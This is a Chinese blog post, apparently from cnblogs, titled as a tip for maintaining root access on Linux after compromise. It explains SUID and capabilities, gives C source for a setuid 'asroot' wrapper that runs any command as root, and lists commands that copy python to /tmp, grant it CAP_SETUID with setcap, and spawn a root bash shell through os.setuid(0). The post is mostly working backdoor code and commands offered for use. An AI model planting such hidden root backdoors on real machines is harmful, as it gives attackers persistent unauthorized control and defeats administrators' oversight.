首页 > 其他分享 >技巧-root权限维持

技巧-root权限维持

时间:2022-11-20 16:36:07浏览次数:65  
标签:tmp 技巧 python CAP setcap 权限 root

root权限-维持技巧

参考链接:
https://github.com/422926799/note/blob/master/学习记录/Linux提权/使用功能的Linux特权升级.md
https://422926799.github.io/posts/9dcc308e.html setcap设置的文件可控造成的提权
https://www.freebuf.com/articles/system/244627.html

基础
SUID: SUID代表设置的用户ID,并允许用户以文件所有者的身份执行文件         # 简单理解,被SUID设置过的高权限文件。当低权用户执行时,可获得高权限
chmod u+s /usr/bin/python                # 给予某个文件拥有临时权限
find / -perm -u=s -type f 2>/dev/null    # 使用find命令找出SUID文件

Capabilities的主要思想在于分割root用户的特权,即将root的特权分割成不同的能力,每种能力代表一定的特权操作。例如:能力CAP_SYS_MODULE表示用户能够加载(或卸载)内核模块的特权操作,而CAP_SETUID表示用户能够修改进程用户身份的特权操作。在Capbilities中系统将根据进程拥有的能力来进行特权操作的访问控制
setcap CAP_SETUID+ep /tmp/python         # setcap给予tmp目录下的python一个用户临时执行权限
getcap -r  / 2>/dev/null                 # 检索setcap所设置的文件
方法一 使用自己编译的文件
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

/*
 *      Asroot  - execute a command with root permissions.
 *                compile with 'cc -o asroot asroot.c'
 *                then 'chown root asroot; chmod u+s asroot'.
 *
 *      This program is a convenience for single-user systems,
 *      BUT it is a MASSIVE security hole.  Please use caution.
 */

extern char **environ;

void main(int argc, char **argv ) {
        int retcode;
        char string[260];

        setuid( 0 );

        if ( argc > 1 ) {
                execvp( argv[1], &argv[1] );
                fprintf( stderr,"%s: execution of '%s' failed: ", argv[0], argv[1] );
                perror( "" );
                exit( 1 );
        }
}


赋予上面编译好的文件权限
gcc -o test test.c    # 编译

setcap CAP_SETUID+ep ./file        # setcap CAP_SETUID+ep /tmp/python     setcap给予tmp目录下的python一个用户临时执行权限

用法: ./test whoami
方法二 使用系统自带的文件(perl, python, tar)
whereis python

cp /usr/bin/python  /tmp/python

setcap CAP_SETUID+ep /tmp/python

./python -c 'import os;os.setuid(0);os.system("/bin/bash")'

标签:tmp,技巧,python,CAP,setcap,权限,root
From: https://www.cnblogs.com/startstart/p/16908789.html

相关文章

  • 【学习笔记】AC自动机常用技巧汇总
    \(\text{AC}\)自动机常用技巧汇总参考文章:自动机相关byAlex_Wei相关题目与题解:杂题20221.\(\text{AC}\)自动机上\(\text{dp}\)常用与限制长度与字典的字符串计数......
  • mysql root权限恢复
    让公司运维禁止root远程连接,结果公司运维今天把mysql所有权限给去除了,导致线上程序挂了,远程也连不上数据库,哎,心累,我查了mysql.user中所有root权限都是N,导致远程、本地都无......
  • 篇(16)-Asp.Net Core入门实战-权限管理之用户创建与关联角色(ViewModel再用与模型验证
    入门实战-权限管理之用户创建与关联角色(ViewModel再用与模型验证二)(1).在用户管理着模块中,相比较菜单功能的代码还是比较多的,设计到用户的创建,修改,角色变更和密码重置,同时......
  • Vim实用技巧(3)——插入模式
    插入模式插入模式技巧13在插入模式中即可即时更正错误技巧14返回普通模式技巧15不离开插入模式,粘贴寄存器中的文本技巧16随时随地做运算技巧13在插入模式......
  • Ubuntu允许root用户登录
    Ubuntu允许root用户登录由于ubuntu默认不允许root用户远程登录,则需要以下设置:‍以普通用户登录到目标服务器ssh<UserName>@<IPAddress>切换到root用户并设置......
  • pycharm 小技巧
    ctrl键+B查看定义源代码alt键+enter键查看帮助ctrl键+shift键+-号所有代码隐藏ctrl键+shift键++号所有代码展示ctrl键+D复制代码findusages......
  • 位操作技巧:正数不取反,负数取反
    原理1)异或运算法则:异或的两个bit相同结果为1,不同结果为02)一个数^0还是自身,没有任何效果,因为0^0=0,1^0=1。例子:0b0101,1010^0b0000,0000=0b0101,10103)单个bit^1......
  • Devpress 小技巧1
    列单选事件1.CheckEdit.Properties.CheckStyle=DevExpress.XtraEditors.Controls.CheckStyles.Radio;intcheckedRowIndex=-1;privatevoidgridView1_Cel......
  • k8s配置禁止以 root 用户启动容器
    描述通过禁止以root用户启动容器,可以限制容器内进程的可用权限,降低被容器中恶意进程通过root权限入侵/破坏用户应用、主机甚至整个集群的风险。如果确认当前工作负载确......
  • MySQL查询技巧
    查询字符串截取最后一个指定字符前面的字符串用途:可以用于截取最后一个逗号前面的字符串,就是去掉最后一个逗号后面的字符串--查询原字符串,截取原字符串从第1位开始到......